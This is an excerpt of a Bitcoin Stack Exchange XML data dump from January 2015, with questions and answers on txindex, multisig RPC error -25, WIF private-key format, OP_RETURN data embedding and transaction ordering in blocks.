  <row Id="35708" PostTypeId="2" ParentId="35707" CreationDate="2015-01-24T16:23:43.803" Score="51" Body="&lt;p&gt;If you're using Bitcoin Core just for your own personal use, you probably don't need the &lt;code&gt;-txindex=1&lt;/code&gt; option. But, if you're using Bitcoin core for development or blockchain analysis of some sort, you will need to set &lt;code&gt;-txindex=1&lt;/code&gt; to be able to get transactions data for any transaction in the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tradeoff is just that keeping an index is slightly slower, but allows you to do things like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getrawtransaction aec2729f5e46750b310b6feadcf853098aa86df74f93322a701c29cd68b22568 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where &lt;code&gt;aec2729f5e46750b310b6feadcf853098aa86df74f93322a701c29cd68b22568&lt;/code&gt; is the ID of a transaction that does not affect your wallet at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you have been running your client for a while but haven't had &lt;code&gt;txindex=1&lt;/code&gt; set, then it might take a few hours to build the index. If you want to rebuild, launch with the &lt;code&gt;-reindex&lt;/code&gt; option.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-24T16:23:43.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35709" PostTypeId="5" CreationDate="2015-01-24T17:19:34.217" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-24T17:19:34.217" LastActivityDate="2015-01-24T17:19:34.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35710" PostTypeId="4" CreationDate="2015-01-24T17:19:34.217" Score="0" Body="Requests for historical data about the price or volume of trades between cryptocurrencies and fiat currencies." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-24T17:19:34.217" LastActivityDate="2015-01-24T17:19:34.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35711" PostTypeId="1" AcceptedAnswerId="35712" CreationDate="2015-01-24T19:41:53.513" Score="1" ViewCount="224" Body="&lt;p&gt;When browsing the blockchain.info I came across &lt;a href=&quot;https://blockchain.info/address/1BacceeNmQzGFm11QwKdqmXA1wvnoHvaAv&quot; rel=&quot;nofollow&quot;&gt;this address&lt;/a&gt;. It seemed peculiar to me, that the amount of 0.6 BTCs has allegedly been spend before received. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because the &quot;receiving transaction&quot; somehow occurred in a side-chain and has only afterwards been merged into the Blockchain? Or what other explanations might there be for this behavior?&lt;/p&gt;&#xA;" OwnerUserId="20728" LastEditorUserId="2306" LastEditDate="2015-08-31T11:30:03.377" LastActivityDate="2015-08-31T11:30:03.377" Title="Bitcoin spend before received" Tags="|blockchain.info|sidechains|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35712" PostTypeId="2" ParentId="35711" CreationDate="2015-01-24T21:15:52.303" Score="4" Body="&lt;p&gt;That's an interesting find! The transaction that created the output was in block 274227. The transaction that spent the output was 6 blocks later, 274233. So it's perfectly valid on the bitcoin network even though blockchain.info seems to have a glitch in the times they are reporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are basing the received time of the transaction at all on the time of the block it was included in, then you should know that the time recorded in bitcoin blocks can be a little off sometimes. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/915/why-dont-the-timestamps-in-the-block-chain-always-increase&quot;&gt;Why don&amp;#39;t the timestamps in the block chain always increase?&lt;/a&gt;. Although, this doesn't appear to be what they are doing since they report two separate times, one for when the transaction was received and one for the time of the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info's API, Wallets, and Block Explorer are not known for being the most robust. They have started a bug bounty program, though: &lt;a href=&quot;https://www.crowdcurity.com/blockchain-info&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.crowdcurity.com/blockchain-info&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-01-24T21:15:52.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35713" PostTypeId="1" AcceptedAnswerId="35773" CreationDate="2015-01-24T21:18:24.257" Score="2" ViewCount="2303" Body="&lt;p&gt;Is there a quick way to do transactions knowing only the private key(secret exponent) and the destination address, preferably from a command line utility such as pycoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Debian/Ubuntu and python 2.7.&lt;/p&gt;&#xA;" OwnerUserId="12893" LastEditorUserId="12893" LastEditDate="2015-01-25T08:45:27.413" LastActivityDate="2017-09-14T02:04:46.863" Title="pycoin command line transaction" Tags="|transactions|wallet|bitcoind|private-key|python|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35716" PostTypeId="1" CreationDate="2015-01-25T04:17:14.313" Score="2" ViewCount="246" Body="&lt;p&gt;I am trying to push this correctly signed 2/3 multisig to the network (based on &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavin's example&lt;/a&gt;) and I get  &lt;code&gt;RPC_VERIFY_ERROR = -25, //! General error during transaction or block submission&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requests and the responses to and from the console are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;method&quot;:&quot;getnewaddress&quot;,&quot;params&quot;:[]}&#xA;{&quot;result&quot;:&quot;n3Cet7S4meopgzYdserFUpubMnXktqnzhL&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;getnewaddress&quot;,&quot;params&quot;:[]}&#xA;{&quot;result&quot;:&quot;my1NmQ5L6sYAZ8yLgEooQqzZ4QDJBMPjiL&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;getnewaddress&quot;,&quot;params&quot;:[]}&#xA;{&quot;result&quot;:&quot;mitERWMu8NiukHaGcMYJZnkCRJK6pzAd8P&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;walletpassphrase&quot;,&quot;params&quot;:[&quot;password&quot;,10]}&#xA;{&quot;result&quot;:null,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;validateaddress&quot;,&quot;params&quot;:[&quot;n3Cet7S4meopgzYdserFUpubMnXktqnzhL&quot;]}&#xA;{&quot;result&quot;:{&quot;isvalid&quot;:true,&quot;address&quot;:&quot;n3Cet7S4meopgzYdserFUpubMnXktqnzhL&quot;,&quot;ismine&quot;:true,&quot;isscript&quot;:false,&quot;pubkey&quot;:&quot;0316ac09be507f3d322cfdcbe328f7e03e720cd8c0ea4cd6dbd9b59e8d61d6f55c&quot;,&quot;iscompressed&quot;:true,&quot;account&quot;:&quot;&quot;},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;validateaddress&quot;,&quot;params&quot;:[&quot;my1NmQ5L6sYAZ8yLgEooQqzZ4QDJBMPjiL&quot;]}&#xA;{&quot;result&quot;:{&quot;isvalid&quot;:true,&quot;address&quot;:&quot;my1NmQ5L6sYAZ8yLgEooQqzZ4QDJBMPjiL&quot;,&quot;ismine&quot;:true,&quot;isscript&quot;:false,&quot;pubkey&quot;:&quot;02910b3e90d39339dd765f971b03369f40c58f8b071d26c4de712daea3607d4d96&quot;,&quot;iscompressed&quot;:true,&quot;account&quot;:&quot;&quot;},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;validateaddress&quot;,&quot;params&quot;:[&quot;mitERWMu8NiukHaGcMYJZnkCRJK6pzAd8P&quot;]}&#xA;{&quot;result&quot;:{&quot;isvalid&quot;:true,&quot;address&quot;:&quot;mitERWMu8NiukHaGcMYJZnkCRJK6pzAd8P&quot;,&quot;ismine&quot;:true,&quot;isscript&quot;:false,&quot;pubkey&quot;:&quot;024587719be74b5998bdc32239af62c99c62dba1eadff32e57b557ad61ae66f557&quot;,&quot;iscompressed&quot;:true,&quot;account&quot;:&quot;&quot;},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;dumpprivkey&quot;,&quot;params&quot;:[&quot;n3Cet7S4meopgzYdserFUpubMnXktqnzhL&quot;]}&#xA;{&quot;result&quot;:&quot;cPp5fVWM5oGbBtR41quKTqJbzUHfBz13RxjEJYRRmn1vszcmiJKc&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;dumpprivkey&quot;,&quot;params&quot;:[&quot;my1NmQ5L6sYAZ8yLgEooQqzZ4QDJBMPjiL&quot;]}&#xA;{&quot;result&quot;:&quot;cQhdbAErfMzZYJMusn9usCKNBDf5RaGHNhBf6xsyHzT2XGjCbseQ&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;dumpprivkey&quot;,&quot;params&quot;:[&quot;mitERWMu8NiukHaGcMYJZnkCRJK6pzAd8P&quot;]}&#xA;{&quot;result&quot;:&quot;cVFY5Fm3vyQJD6VmadkCrqFDE1x69dMTcmf65Wa3G7e5EJTz3A8n&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;createmultisig&quot;,&quot;params&quot;:[2,[&quot;0316ac09be507f3d322cfdcbe328f7e03e720cd8c0ea4cd6dbd9b59e8d61d6f55c&quot;,&quot;02910b3e90d39339dd765f971b03369f40c58f8b071d26c4de712daea3607d4d96&quot;,&quot;024587719be74b5998bdc32239af62c99c62dba1eadff32e57b557ad61ae66f557&quot;]]}&#xA;{&quot;result&quot;:{&quot;address&quot;:&quot;2N4tGQhXYZoxg68zYenfixMPmXxiycteQd1&quot;,&quot;redeemScript&quot;:&quot;52210316ac09be507f3d322cfdcbe328f7e03e720cd8c0ea4cd6dbd9b59e8d61d6f55c2102910b3e90d39339dd765f971b03369f40c58f8b071d26c4de712daea3607d4d9621024587719be74b5998bdc32239af62c99c62dba1eadff32e57b557ad61ae66f55753ae&quot;},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;listunspent&quot;,&quot;params&quot;:[1,9999999,[]]}&#xA;{&quot;result&quot;:[{&quot;txid&quot;:&quot;024adfd176cbafa3e2b8277c6320cc91c71928a1d93cf161fcbbbe21b552a021&quot;,&quot;vout&quot;:0,&quot;address&quot;:&quot;n3qdUsihCUUvhVxDGSa9dTys6FQyRYtra6&quot;,&quot;scriptPubKey&quot;:&quot;76a914f4daf7429115209dde3dbf656e297f4822a7e86488ac&quot;,&quot;amount&quot;:0.30409597,&quot;confirmations&quot;:333},{&quot;txid&quot;:&quot;2ae481097bfe598054d93e643ade015df4923eca01ef1c4248369d2f76676d29&quot;,&quot;vout&quot;:0,&quot;address&quot;:&quot;mgTNUvatqaoondmCKF2wrqmZp5nHfiZ41X&quot;,&quot;account&quot;:&quot;&quot;,&quot;scriptPubKey&quot;:&quot;76a9140a4aa70fa43aa653e932f9902c75bee703f7b6b388ac&quot;,&quot;amount&quot;:0.04900000,&quot;confirmations&quot;:275},{&quot;txid&quot;:&quot;391ccc07ede180c00e11bb4a2facc0c762b2e021e96cc4ed4c5b267a2cb770d4&quot;,&quot;vout&quot;:1,&quot;address&quot;:&quot;muNqJMhpVEqpCBBkL3E8cP7MBFuEaYCLjB&quot;,&quot;scriptPubKey&quot;:&quot;76a91498089826f83411d7e789adf88d2fb1732697b69d88ac&quot;,&quot;amount&quot;:0.09884210,&quot;confirmations&quot;:333},{&quot;txid&quot;:&quot;69d42deda3513d73f70b5363090fcf81dd0443b1834309ea7ca5f58359344204&quot;,&quot;vout&quot;:0,&quot;address&quot;:&quot;mgTNUvatqaoondmCKF2wrqmZp5nHfiZ41X&quot;,&quot;account&quot;:&quot;&quot;,&quot;scriptPubKey&quot;:&quot;76a9140a4aa70fa43aa653e932f9902c75bee703f7b6b388ac&quot;,&quot;amount&quot;:3.24246444,&quot;confirmations&quot;:274},{&quot;txid&quot;:&quot;afa0f809762154686c30cb984a340153e99a198fa5eb7abb300a90efdb9514dd&quot;,&quot;vout&quot;:0,&quot;address&quot;:&quot;mgTNUvatqaoondmCKF2wrqmZp5nHfiZ41X&quot;,&quot;account&quot;:&quot;&quot;,&quot;scriptPubKey&quot;:&quot;76a9140a4aa70fa43aa653e932f9902c75bee703f7b6b388ac&quot;,&quot;amount&quot;:0.01000000,&quot;confirmations&quot;:275},{&quot;txid&quot;:&quot;cbb0939185826c02051ca82bb3696a24bf39a87109f341f7cbb58e2a9ace202e&quot;,&quot;vout&quot;:0,&quot;address&quot;:&quot;mtHpxHgBaazaQWrShuQKgFQTHjLyT23Jbs&quot;,&quot;scriptPubKey&quot;:&quot;76a9148c1e19935b9c0b761850d1baff330392a062d0ff88ac&quot;,&quot;amount&quot;:0.00675471,&quot;confirmations&quot;:356}],&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;createrawtransaction&quot;,&quot;params&quot;:[[{&quot;txid&quot;:&quot;024adfd176cbafa3e2b8277c6320cc91c71928a1d93cf161fcbbbe21b552a021&quot;,&quot;vout&quot;:0}],{&quot;2N4tGQhXYZoxg68zYenfixMPmXxiycteQd1&quot;:0.30409597}]}&#xA;{&quot;result&quot;:&quot;010000000121a052b521bebbfc61f13cd9a12819c791cc20637c27b8e2a3afcb76d1df4a020000000000ffffffff017d03d0010000000017a9147faacb8d21673992204a50440b1321f662fa92ae8700000000&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;signrawtransaction&quot;,&quot;params&quot;:[&quot;010000000121a052b521bebbfc61f13cd9a12819c791cc20637c27b8e2a3afcb76d1df4a020000000000ffffffff017d03d0010000000017a9147faacb8d21673992204a50440b1321f662fa92ae8700000000&quot;,null,null,&quot;ALL&quot;]}&#xA;{&quot;result&quot;:{&quot;hex&quot;:&quot;010000000121a052b521bebbfc61f13cd9a12819c791cc20637c27b8e2a3afcb76d1df4a02000000006a473044022067e51a61dc767166d10741f2ec5950eedfbbb84c5522c0db46f9809bbd91edf10220583f5e3ab5c312b8ebfb5dc5e76b11e4bdf037dd89f2447fe15c11298b2cdeed0121024c4e2909b43dac78086b040e43b161408a0e019b686f0b1754e839f2604b14f0ffffffff017d03d0010000000017a9147faacb8d21673992204a50440b1321f662fa92ae8700000000&quot;,&quot;complete&quot;:true},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;decoderawtransaction&quot;,&quot;params&quot;:[&quot;010000000121a052b521bebbfc61f13cd9a12819c791cc20637c27b8e2a3afcb76d1df4a02000000006a473044022067e51a61dc767166d10741f2ec5950eedfbbb84c5522c0db46f9809bbd91edf10220583f5e3ab5c312b8ebfb5dc5e76b11e4bdf037dd89f2447fe15c11298b2cdeed0121024c4e2909b43dac78086b040e43b161408a0e019b686f0b1754e839f2604b14f0ffffffff017d03d0010000000017a9147faacb8d21673992204a50440b1321f662fa92ae8700000000&quot;]}&#xA;{&quot;result&quot;:{&quot;txid&quot;:&quot;65410ac69571208ec2e92603c235d9424f18778131006d34a5516783c88c7bd1&quot;,&quot;version&quot;:1,&quot;locktime&quot;:0,&quot;vin&quot;:[{&quot;txid&quot;:&quot;024adfd176cbafa3e2b8277c6320cc91c71928a1d93cf161fcbbbe21b552a021&quot;,&quot;vout&quot;:0,&quot;scriptSig&quot;:{&quot;asm&quot;:&quot;3044022067e51a61dc767166d10741f2ec5950eedfbbb84c5522c0db46f9809bbd91edf10220583f5e3ab5c312b8ebfb5dc5e76b11e4bdf037dd89f2447fe15c11298b2cdeed01 024c4e2909b43dac78086b040e43b161408a0e019b686f0b1754e839f2604b14f0&quot;,&quot;hex&quot;:&quot;473044022067e51a61dc767166d10741f2ec5950eedfbbb84c5522c0db46f9809bbd91edf10220583f5e3ab5c312b8ebfb5dc5e76b11e4bdf037dd89f2447fe15c11298b2cdeed0121024c4e2909b43dac78086b040e43b161408a0e019b686f0b1754e839f2604b14f0&quot;},&quot;sequence&quot;:4294967295}],&quot;vout&quot;:[{&quot;value&quot;:0.30409597,&quot;n&quot;:0,&quot;scriptPubKey&quot;:{&quot;asm&quot;:&quot;OP_HASH160 7faacb8d21673992204a50440b1321f662fa92ae OP_EQUAL&quot;,&quot;hex&quot;:&quot;a9147faacb8d21673992204a50440b1321f662fa92ae87&quot;,&quot;reqSigs&quot;:1,&quot;type&quot;:&quot;scripthash&quot;,&quot;addresses&quot;:[&quot;2N4tGQhXYZoxg68zYenfixMPmXxiycteQd1&quot;]}}]},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;getnewaddress&quot;,&quot;params&quot;:[]}&#xA;{&quot;result&quot;:&quot;mhfP4ayuaUnwHvbhumWhVbhu3TEyjVSAA7&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;createrawtransaction&quot;,&quot;params&quot;:[[{&quot;txid&quot;:&quot;65410ac69571208ec2e92603c235d9424f18778131006d34a5516783c88c7bd1&quot;,&quot;vout&quot;:0}],{&quot;mhfP4ayuaUnwHvbhumWhVbhu3TEyjVSAA7&quot;:0.2584815745}]}&#xA;{&quot;result&quot;:&quot;0100000001d17b8cc8836751a5346d00318177184f42d935c20326e9c28e207195c60a41650000000000ffffffff015d698a01000000001976a9141788411f512e2e7cfd311acb48f878991a2a9f1188ac00000000&quot;,&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;signrawtransaction&quot;,&quot;params&quot;:[&quot;0100000001d17b8cc8836751a5346d00318177184f42d935c20326e9c28e207195c60a41650000000000ffffffff015d698a01000000001976a9141788411f512e2e7cfd311acb48f878991a2a9f1188ac00000000&quot;,[{&quot;txid&quot;:&quot;65410ac69571208ec2e92603c235d9424f18778131006d34a5516783c88c7bd1&quot;,&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;a9147faacb8d21673992204a50440b1321f662fa92ae87&quot;,&quot;redeemScript&quot;:&quot;52210316ac09be507f3d322cfdcbe328f7e03e720cd8c0ea4cd6dbd9b59e8d61d6f55c2102910b3e90d39339dd765f971b03369f40c58f8b071d26c4de712daea3607d4d9621024587719be74b5998bdc32239af62c99c62dba1eadff32e57b557ad61ae66f55753ae&quot;}],[&quot;cQhdbAErfMzZYJMusn9usCKNBDf5RaGHNhBf6xsyHzT2XGjCbseQ&quot;],&quot;ALL&quot;]}&#xA;{&quot;result&quot;:{&quot;hex&quot;:&quot; &quot;,&quot;complete&quot;:false},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;signrawtransaction&quot;,&quot;params&quot;:[&quot; &quot;,[{&quot;txid&quot;:&quot;65410ac69571208ec2e92603c235d9424f18778131006d34a5516783c88c7bd1&quot;,&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;a9147faacb8d21673992204a50440b1321f662fa92ae87&quot;,&quot;redeemScript&quot;:&quot;52210316ac09be507f3d322cfdcbe328f7e03e720cd8c0ea4cd6dbd9b59e8d61d6f55c2102910b3e90d39339dd765f971b03369f40c58f8b071d26c4de712daea3607d4d9621024587719be74b5998bdc32239af62c99c62dba1eadff32e57b557ad61ae66f55753ae&quot;}],[&quot;cVFY5Fm3vyQJD6VmadkCrqFDE1x69dMTcmf65Wa3G7e5EJTz3A8n&quot;],&quot;ALL&quot;]}&#xA;{&quot;result&quot;:{&quot;hex&quot;:&quot; &quot;,&quot;complete&quot;:true},&quot;error&quot;:null}&#xA;&#xA;{&quot;method&quot;:&quot;sendrawtransaction&quot;,&quot;params&quot;:[&quot; &quot;,true]}&#xA;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-25,&quot;message&quot;:&quot;&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/34203/error-25-when-bitcoind-sendrawtransaction&quot;&gt;Error -25 when bitcoind sendrawtransaction&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35484/receiving-error-code-25-message-on-sendrawtransaction-with-v0-9-3&quot;&gt;Receiving `error: {&amp;quot;code&amp;quot;:-25,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;}` on sendrawtransaction with v0.9.3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-01-27T03:11:02.870" Title="UPDATED: -25 when pushing multisig" Tags="|json-rpc|multi-signature|rpc-error-25|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35718" PostTypeId="2" ParentId="35643" CreationDate="2015-01-25T04:32:06.400" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&quot; rel=&quot;nofollow&quot;&gt;Richard Kiss covered this extremely well in his blog.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's several ways to go about embedding data in the Blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;OP_RETURN method embeds data to a single output and the script following the OP_CODE is hex encoded ASCII text&lt;/li&gt;&#xA;&lt;li&gt;Use pubkeyScript fields to have ASCII (in hex) which can be concatenated across all the outputs (the addresses as hash160 are unspendable)&lt;/li&gt;&#xA;&lt;li&gt;Coinbase field can hold hex data, such as the Genesis Block&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;BCI&lt;/a&gt; metadata notes which are not actually included in the Blockchain, but are visible on BCI&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first method is most common and accepted, allowing for 40 bytes of text.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-01-25T04:32:06.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35719" PostTypeId="1" CreationDate="2015-01-25T04:54:03.043" Score="8" ViewCount="2238" Body="&lt;p&gt;Every block in the block chain contains a list of transactions. This list has a certain order which is basically set by the miner introducing the block. The merkle root in the block header requires that this order is fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore there is a fixed order for all transactions in the blockchain which cannot be modified at a later time (except for the usual temporary forking).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="23077" LastActivityDate="2015-01-25T17:07:44.923" Title="Is there a fixed order for all transactions in the block chain?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35721" PostTypeId="2" ParentId="35713" CreationDate="2015-01-25T08:59:39.980" Score="2" Body="&lt;p&gt;For Ubuntu, Python 2.7 (same setup as me) I'd highly recommend either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.github.com/vbuterin/pybitcointools/&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; (install using &lt;em&gt;pip install pybitcointools&lt;/em&gt; for version 1.1.15 or &lt;em&gt;pip install bitcoin&lt;/em&gt; for version 1.1.25 (recommended)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sx.dyne.org&quot; rel=&quot;nofollow&quot;&gt;sx&lt;/a&gt;/libbitcoin. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32219/ubuntu-14-lts-with-sx-tools-installation-issues/32411#32411&quot;&gt;Might need to install using mastercoin's &lt;em&gt;install.sh&lt;/em&gt; script&lt;/a&gt;, depending on whether dependencies work (I had issues using Tasty Tahr Ubuntu 14.04).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both are CLIs, and both work similarly allowing piping of variables, etc. However &lt;em&gt;pybitcointools&lt;/em&gt; seems to support the &lt;em&gt;address history&lt;/em&gt; function (API call to Blockchain.info/Blockr.io) and the &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/README.txt&quot; rel=&quot;nofollow&quot;&gt;support documentation for &lt;em&gt;pybitcointools&lt;/em&gt;&lt;/a&gt; seems to be more self-explanatory than the brief &lt;em&gt;sx&lt;/em&gt; tutorial.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-01-27T10:02:14.667" LastActivityDate="2015-01-27T10:02:14.667" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35723" PostTypeId="1" AcceptedAnswerId="35725" CreationDate="2015-01-25T13:19:37.643" Score="8" ViewCount="4579" Body="&lt;p&gt;I am reading &quot;Mastering Bitcoin&quot; written by Andreas and I found this explanation about &quot;WIF(Wallet Import Format)&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Key Formats&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Both private and public keys can be represented in a number of&#xA;  different formats. These representations all encode the same number,&#xA;  even though they look different. These formats are primarily used to&#xA;  make it easy for people to read and transcribe keys without&#xA;  introducing errors.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch04.html#base58&quot; rel=&quot;noreferrer&quot;&gt;http://chimera.labs.oreilly.com/books/1234000001802/ch04.html#base58&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I agree with that a private key as decimal numbers is not easy to use for people. However, the hex format and WIF are very similar. I think that WIF has two advantages compared to hex. One is starting with 5 and the next one is having checksum. Are there any good points of WIF.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I sign on a transaction by using WIF without the private key?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm keen to know about inside bitcoin. Any information will be helpful for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="5406" LastEditDate="2020-10-18T03:05:29.947" LastActivityDate="2020-10-18T03:05:29.947" Title="What roles of WIF(Wallet Import Format)?" Tags="|address|private-key|wallet-import-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35724" PostTypeId="1" CreationDate="2015-01-25T14:06:21.560" Score="1" ViewCount="265" Body="&lt;p&gt;Is there a way I could set up my LTC mining pool so that my friends could join? I've been having really good luck lately!&lt;/p&gt;&#xA;" OwnerUserId="23081" LastEditorUserId="5757" LastEditDate="2016-03-21T02:46:08.917" LastActivityDate="2017-02-14T09:03:52.010" Title="LTC Pool With Friends?" Tags="|mining-pools|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35725" PostTypeId="2" ParentId="35723" CreationDate="2015-01-25T15:47:14.553" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there any good points of WIF&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is shorter than decimal/hex representation. And, yes, there is checksum.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I sign on a transaction by using WIF without the private key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;WIF &lt;strong&gt;is&lt;/strong&gt; a representation of private key. &lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-25T15:47:14.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35726" PostTypeId="2" ParentId="35719" CreationDate="2015-01-25T16:56:51.037" Score="3" Body="&lt;p&gt;Yes, you are correct. There is a fixed order, as ensured by the merkle root and the proof of work. Both the blocks and the transactions within each block are strictly ordered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This order is actually necessary for validation of the transactions within. For example, you could have a transaction Y that depends on the output of transaction X in the &lt;strong&gt;same&lt;/strong&gt; block. If Y came before X in the list of transactions in the block, then the block would be an invalid block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, although the order of transactions within a particular chain snapshot cannot change, the chain itself can change from time time. This happens when there is a fork in the network. Look at this image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h19zP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you knew about block A and you thought it was the tip of the best chain. Then all of the sudden the other chain comes out, and block A is replaced by block B. The order of transactions in A might not be the same as the order in B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also interest you to know that to enable Gavin's &lt;code&gt;O(1)&lt;/code&gt; block propagation proposal, there is a &lt;a href=&quot;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2#canonical-ordering-of-transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;canonical ordering for transactions in a block&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-25T17:07:44.923" LastActivityDate="2015-01-25T17:07:44.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
